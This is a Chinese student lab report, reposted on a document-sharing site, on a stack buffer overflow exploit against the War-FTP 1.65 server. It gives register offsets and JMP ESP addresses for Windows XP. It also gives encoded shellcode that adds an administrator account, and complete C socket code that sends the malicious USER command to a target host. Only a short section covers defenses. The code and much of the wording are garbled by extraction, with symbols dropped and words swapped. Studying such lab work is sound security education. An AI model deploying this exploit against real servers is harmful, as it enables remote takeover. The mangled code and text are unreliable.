基于warftp1.65的缓冲区溢出攻击

上传人:痛*** 文档编号:131435711 上传时间:2022-08-06 格式:DOC 页数:11 大小:184.50KB
收藏 版权申诉 举报 下载
基于warftp1.65的缓冲区溢出攻击_第1页
第1页 / 共11页
基于warftp1.65的缓冲区溢出攻击_第2页
第2页 / 共11页
基于warftp1.65的缓冲区溢出攻击_第3页
第3页 / 共11页
资源描述:

《基于warftp1.65的缓冲区溢出攻击》由会员分享,可在线阅读,更多相关《基于warftp1.65的缓冲区溢出攻击(11页珍藏版)》请在装配图网上搜索。

1、XX大学实验报告学院:计算机科学与技术 专业:软件工程 班级:XX姓名XX学号XX实验组实验时间/12/25指引教师XX成绩实验项目名称缓冲区溢出袭击实验实验目的1掌握缓冲区溢出的原理缓冲区指程序运营期间,在内存中分派的一种持续的区域,用于保存涉及字符数组在内的多种数据类型。溢出,指所填充的数据超过了原有的缓冲区边界,并非法占据了另一段内存区域。缓冲区溢出,即由于填充数据越界而导致原有流程的变化,袭击者借此精心构造填充数据,让程序转而执行特殊的代码,最后获取控制权。2掌握常用的缓冲区溢出措施 缓冲区溢出袭击的目的在于获得程序的控制权,为此,袭击者必须达到如下的两个目的:在程序的地址空间里安排合

2、适的代码;通过合适的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。根据这两个目的来对缓冲区溢出袭击进行分类,缓冲区溢出袭击分为代码安排和控制程序执行流程两种措施:在程序的地址空间里安排合适的代码的措施;控制程序转移到袭击代码的措施。3理解缓冲区溢出的危害性 缓冲区溢出的危害性具有破坏性与隐蔽性的特点:破坏性体目前易使服务程序停止运营,服务器死机甚至删除服务器上的数据或者可以执入并运营袭击代码。隐蔽性体目前软件漏洞难以避免,缓冲袭击的shellcode的执行不易被察觉,袭击的随机性及不可预测性。4掌握防备和避免缓冲区溢出袭击的措施 通过操作系统使得缓冲区不可执行,从而制止袭击者植入袭

3、击代码;强制编写对的的代码;运用编译器的边界检查来实现缓冲区的保护;间接的措施是在程序指针失效迈进行完整性检查等。实验环境windows 10 (缓冲区溢出袭击端),windows xp Home(缓冲区溢出被袭击端)编程工具: codeblocks(用于发送exploit代码),exlipse(用来写测试代码字符和转换代码字符)缓冲区漏洞软件:war-ftp 1.65系统程序调试工具:ollydbg网络环境:使用vmare承载windows xp,window10 与xp在同一网段下,可以进行互相通信实验内容1. 分析war-ftp v1.65的基于顾客名的缓冲溢出漏洞实践课件上已指出:向服

4、务器发送超过480字节的顾客名可以触发漏洞(虽然用命令USER longStringrn),溢出之后,ESP中的内容涉及了longString中的部分内容。需要对其进行验证分析。2分析war-ftp v1.65的堆栈构造 即分析堆栈中的EIP、ESP、EBP等的精确位置。3构造针对war-ftp v1.65的exploit 根据上述的分析成果,参照实践课件的例子,从网上(重要是)获取shellcode,构造exploit。实验数据1验证War-ftp v1.65基于顾客名的缓冲溢出漏洞在WindowsXP中使用olldbg装载war-ftp 1.65,degugrun,容许匿名登录;在物理主机

5、使用cuteftp登录,顾客名使用依次增长的“AAA”,当顾客名长度超过480时,war-ftp 1.65浮现异常甚至崩败退出。(正常状况):当输入顾客名的长度超过了485个字符时,系统崩溃:(崩溃时):直接处在卡死状态此时的EIP,EBP,ESP如下图所示:以上证据表达,war-ftp的确存在登录的缓冲区漏洞。2分析War-ftp 1.65的堆栈构造由于堆栈Ret里的地址被赋给EIP,CPU继续执行EIP所指向的命令,即EIP寄存器的内容表达将要执行的下一条指令地址,因此需要定位RET的精确位置。为了把shellcode放入预期的EIP指向的ESP或EBP,还需要定位ESP、EBP的精确位置

6、。使用java程序生成长度为1000的不反复的字符串。随后将生成的字符串使用cuteftp发送到被袭击主机,得到有关EIP,EBP,ESP的偏移位置如下:EIP : 0x540x360x370x48 相应与H76T 在登录顾客字符串的485个位置开始ESP : qFju 在登录顾客字符串的493个位置开始EBP: NUof 在登录顾客字符串的581个位置开始成果表白,EIP指向第485位置(从0开始计数),ESP指向第493位置,EBP指向第581位置。从而可以得到war-ftp 1.65的堆栈构造图如下:产生随机不反复字符串生成代码和16进制转换代码:package safe;import

7、java.util.Random;/* * Hello world! * */public class App public static void main( String args ) /for(int i=0;i490;i+) /System.out.print(A); /System.out.println(); /System.out.println(genarateString(1000); asc(new int0x54,0x36,0x37,0x48); public static String genarateString(int len) String string=abcd

8、efghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ; StringBuffer sb=new StringBuffer(); Random random=new Random(); for(int i=0;ilen;i+) sb.append(string.charAt(random.nextInt(string.length(); return sb.toString(); public static void asc(int arg) System.out.println(); System.out.print(char)arg3); Syst

9、em.out.print(char)arg2); System.out.print(char)arg1); System.out.print(char)arg0); 3获取shellcode通过搜索引擎搜索获得了一种添加顾客并变化权限的code/shellcode,添加顾客名为zane,密码为enaz的管理员顾客:net user zane enaz /add/* win32_adduser - PASS=enaz EXITFUNC=process USER=zane Size=476 Encoder=Alpha2 */unsigned char scode0=“xebx03x59xebx05

10、xe8xf8xffxffxffx49x49x49x49x49x49“x49x49x49x49x49x49x49x49x37x49x49x49x51x5ax6ax4a”“x58x30x42x30x50x41x6bx41x41x5ax42x32x41x42x32x42“x41x41x30x42x41x58x50x38x41x42x75x7ax49x79x6cx69“x78x51x54x57x70x43x30x63x30x4cx4bx67x35x45x6cx6e”“x6bx71x6cx66x65x43x48x55x51x5ax4fx4ex6bx70x4fx42“x38x4cx4bx43x6fx51x

11、30x56x61x78x6bx30x49x4cx4bx76“x54x4cx4bx65x51x7ax4ex66x51x6bx70x5ax39x6ex4cx4d”“x54x4fx30x73x44x56x67x68x41x5ax6ax66x6dx44x41x6a”“x62x58x6bx48x74x65x6bx72x74x31x34x77x74x74x35x79“x75x6cx4bx73x6fx67x54x64x41x7ax4bx62x46x6ex6bx64“x4cx30x4bx6ex6bx33x6fx75x4cx37x71x48x6bx6ex6bx57“x6cx4cx4bx77x71x58x6bx4

12、cx49x61x4cx56x44x47x74x69“x53x70x31x4bx70x45x34x4cx4bx31x50x64x70x6fx75x49“x50x52x58x36x6cx4cx4bx43x70x64x4cx4ex6bx74x30x45“x4cx4cx6dx4ex6bx63x58x33x38x6ax4bx47x79x4cx4bx4d”“x50x68x30x37x70x73x30x53x30x6ex6bx35x38x55x6cx53“x6fx47x41x6ax56x73x50x52x76x4bx39x7ax58x4fx73x6b”“x70x63x4bx76x30x42x48x31x6e

13、x78x58x78x62x62x53x62“x48x7ax38x4bx4ex4fx7ax66x6ex30x57x69x6fx38x67x61“x73x50x6dx55x34x66x4ex33x55x73x48x35x35x61x30x54“x6fx45x33x31x30x50x6ex72x45x50x74x65x70x30x75x41“x63x70x65x73x42x37x50x51x6ax62x41x62x4ex72x45x71“x30x71x75x70x6ex50x61x72x5ax37x50x46x4fx43x71x71“x54x43x74x41x30x36x46x51x36x55x70

14、x70x6ex43x55x70“x74x55x70x30x6cx72x4fx32x43x35x31x50x6cx70x67x64“x32x72x4fx54x35x42x50x35x70x32x61x71x74x42x4dx62“x49x30x6ex55x39x33x43x73x44x71x62x51x71x72x54x50“x6fx54x32x31x63x45x70x71x6ax42x41x62x4ex41x75x55“x70x46x4fx30x41x30x44x30x44x43x30x4a”;4构造exploit这里的重点之一是寻找构成注入向量的跳转地址:如果选择ESP为跳转的寄存器,则需要

15、JMP ESP的指令地址,使用failwest在软件漏洞分析入门_6_初级shellcode_定位缓冲区提出的代码,在中文Windows系统核心dll中查找, 找到XP user32.dll的JMP ESP:0x77d7c5fb, XP kernel32.dll的JMP ESP:0x7c834d7b,此外可以使用中文WIN 2K/XP/下通用的JMP ESP:0x7ffa4512;如果选择EBP为跳转的寄存器,则需要JMP EBP的指令地址,这可以使用中文WIN 2K/XP/下通用的JMP EBP:0x7ffa4967。重点之二是构造袭击代码: 为了避免在执行shellcode之前程序乱跳,因

16、此使用NOP(0X90)指令来进行避免,只要shellcode位置对,最后一定可以执行shellocode我在此使用了跳转到ESP执行shellcode,构建的exploit字符串如上图所示。以命令USER紧跟一种空格开头,后接485个NOP空转指令,紧接着的4个字节用JMP ESP地址如“x12x45xfax7f”来填充(这是由于x86系统是little-endian方式),之后4字节继续用NOP填充,然后从第498字节开始把shellcode复制过去,最后以rn表达FTP USER命令结束。袭击时,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第493字节开始的ESP执行shellcode

17、。5编程实现根据顾客的选择,构造溢出字符串(即构造后接shellcode的USER命令:USER exploitcodern);根据顾客提供的数据,使用Socket,使用connect连接目的主机;向目的主机发送溢出字符串(send);关闭连接。实验源码:#include #include #include char exploit;char str1000;const char jum_esp=x12x45xfax7f;char cc=AAAA;char scode=xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49 x49x49x49x49x4

18、9x49x49x49x37x49x49x49x51x5ax6ax4a x58x30x42x30x50x41x6bx41x41x5ax42x32x41x42x32x42 x41x41x30x42x41x58x50x38x41x42x75x7ax49x79x6cx69 x78x51x54x57x70x43x30x63x30x4cx4bx67x35x45x6cx6e x6bx71x6cx66x65x43x48x55x51x5ax4fx4ex6bx70x4fx42 x38x4cx4bx43x6fx51x30x56x61x78x6bx30x49x4cx4bx76 x54x4cx4bx65x51x7ax4

19、ex66x51x6bx70x5ax39x6ex4cx4d x54x4fx30x73x44x56x67x68x41x5ax6ax66x6dx44x41x6a x62x58x6bx48x74x65x6bx72x74x31x34x77x74x74x35x79 x75x6cx4bx73x6fx67x54x64x41x7ax4bx62x46x6ex6bx64 x4cx30x4bx6ex6bx33x6fx75x4cx37x71x48x6bx6ex6bx57 x6cx4cx4bx77x71x58x6bx4cx49x61x4cx56x44x47x74x69 x53x70x31x4bx70x45x34x4cx4

20、bx31x50x64x70x6fx75x49 x50x52x58x36x6cx4cx4bx43x70x64x4cx4ex6bx74x30x45 x4cx4cx6dx4ex6bx63x58x33x38x6ax4bx47x79x4cx4bx4d x50x68x30x37x70x73x30x53x30x6ex6bx35x38x55x6cx53 x6fx47x41x6ax56x73x50x52x76x4bx39x7ax58x4fx73x6b x70x63x4bx76x30x42x48x31x6ex78x58x78x62x62x53x62 x48x7ax38x4bx4ex4fx7ax66x6ex30x5

21、7x69x6fx38x67x61 x73x50x6dx55x34x66x4ex33x55x73x48x35x35x61x30x54 x6fx45x33x31x30x50x6ex72x45x50x74x65x70x30x75x41 x63x70x65x73x42x37x50x51x6ax62x41x62x4ex72x45x71 x30x71x75x70x6ex50x61x72x5ax37x50x46x4fx43x71x71 x54x43x74x41x30x36x46x51x36x55x70x70x6ex43x55x70 x74x55x70x30x6cx72x4fx32x43x35x31x50x6

22、cx70x67x64 x32x72x4fx54x35x42x50x35x70x32x61x71x74x42x4dx62 x49x30x6ex55x39x33x43x73x44x71x62x51x71x72x54x50 x6fx54x32x31x63x45x70x71x6ax42x41x62x4ex41x75x55 x70x46x4fx30x41x30x44x30x44x43x30x4a;void genarate() strcat(exploit,USER ); /0-4 for(int i=5;i490;i+) exploiti=x90; /添加jump_esp strcat(exploit

23、,jum_esp);/5-489 490-493 strcat(exploit,x90x90x90x90); /添加shellcode strcat(exploit,scode); strcat(exploit,rn0);int main(int argc, char* argv) /生成shellcode genarate(); printf(%sn,exploit); /准备建立socket连接 WSADATA wsaData; WORD wVersionRequested; int err,n; char buff512; wVersionRequested=MAKEWORD(2,2);

24、 err=WSAStartup(wVersionRequested,&wsaData); if(err!=0) return 0; SOCKET clientSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SOCKADDR_IN address; address.sin_addr.S_un.S_addr=inet_addr(192.168.139.140); address.sin_family=AF_INET; address.sin_port=htons(21); printf(开始连接!n); if(connect(clientSock,(SO

25、CKADDR*)&address,sizeof(address)=SOCKET_ERROR) printf(连接失败n); return -1; recv(clientSock,str,1000,0); printf(%sn,str); printf(发送exploit!n); send(clientSock,exploit,strlen(exploit),0); printf(发送长度:%dn,strlen(exploit); recv(clientSock,str,1000,0); closesocket(clientSock); WSACleanup(); return 0;实验成果:通

26、过缓冲区溢出实验,成功在window xp下建立了一种zena的顾客,并设立为管理员实验总结1针对缓冲溢出的防御措施从代码编写的角度来说,对于缓冲区的操作要进行严格的边界检查,这可借助某些工具如编译器来实现,像这次实践的war-ftp 1.65就应当对顾客名数组边界进行检测;从运营状态来看,可进行动态保护,重要是数组边界检查和保证返回指针的完整性;从开发语言来看可使用类型-安全的编程语言如Java;此外还可以从系统的角度制止袭击代码的执行,例如非执行的缓冲区技术。对于操作系统而言,Windows从XP SP2引入的DEP(Data Execution Prevention)即“数据执行保护”,

27、始终延续到此后的Windows Server 、Windows Server 中,后者的Address Space Load Randomization让缓冲区溢出袭击变得非常困难,在Windows 7中,DEP默认是激活的。2实践中遇到的问题实践中遇到的问题不少,在逐个解决问题的过程中体验到了成功的喜悦,并逐渐加深了对有关技术的理解。1) 虚拟机之间不能互相通信保证虚拟机和宿主机在同一种网段上,且关闭了防火墙。2) 如何查找JMP ESP,JMP EBP地址实践例程提供了win 2K/XP/的通用JMP ESP地址:0x7ffa4512,网上还提供了使用windows 2k/xp/ 的通用的

28、JMP EBP:0x7ffa4967地址。如何查找到具体版本的核心dll中的JMP ESP地址,这可用OllyDBG的OllyUni插件或Metasploit Framework中的有关插件完毕,也可以根据JMP ESP的机器码0xFFE4编程载入有关的*.dll来查找。3) 与否只能用JMP ESP开始觉得跳转的寄存器只能用ESP,后来发现也可以使用EBP,只要在RET中指定相应的地址,EBP及之后的空间足够用于存储shellcode。4) 不能返回被袭击的远程主机shell即在运营袭击命令后,本地主机自动获得远程主机的shell。这个问题尚未解决。这也许与这样的shellcode较长导致字符数组长度超过war-ftp 1.65缓冲总大小有关,也也许是与socket编程有关。指引教师意见 签名: 年 月 日注:请在实验报告后附程序清单

展开阅读全文
温馨提示:
1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
2: 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
3.本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!